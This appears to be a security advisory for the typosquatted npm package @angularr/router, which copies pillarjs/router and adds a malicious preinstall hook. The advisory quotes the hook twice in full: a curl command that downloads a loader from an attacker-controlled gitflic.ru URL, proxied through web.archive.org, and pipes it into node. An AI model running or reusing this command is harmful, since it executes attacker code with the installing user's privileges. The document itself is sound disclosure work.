MAL-2026-17494 Malicious code in @angularr/router (npm)

@angularr/[email protected] impersonates router (it copies the code and metadata of the pillarjs router package) and adds a preinstall script that runs on npm install and pipes a remotely hosted loader into node: curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node. This runs attacker-controlled JavaScript with the installing user's privileges. The npm account angularr published @angularr/router and 5 similar packages on 2026-10-03 between 06:33 and 07:23 UTC, all with the same preinstall script.

The package.json preinstall script runs curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node, fetching an unpinned, unverified JavaScript payload from a third-party repository (gitflic.ru user hellscripter, proxied via web.archive.org) and piping it directly into Node for execution during npm install. The code executes with the installer's privileges before any package code is loaded. The package name @angularr/router (double-r) resembles @angular/router, while the shipped library code is a verbatim copy of pillarjs/router (unrelated to Angular) that serves as cover for the malicious lifecycle hook.
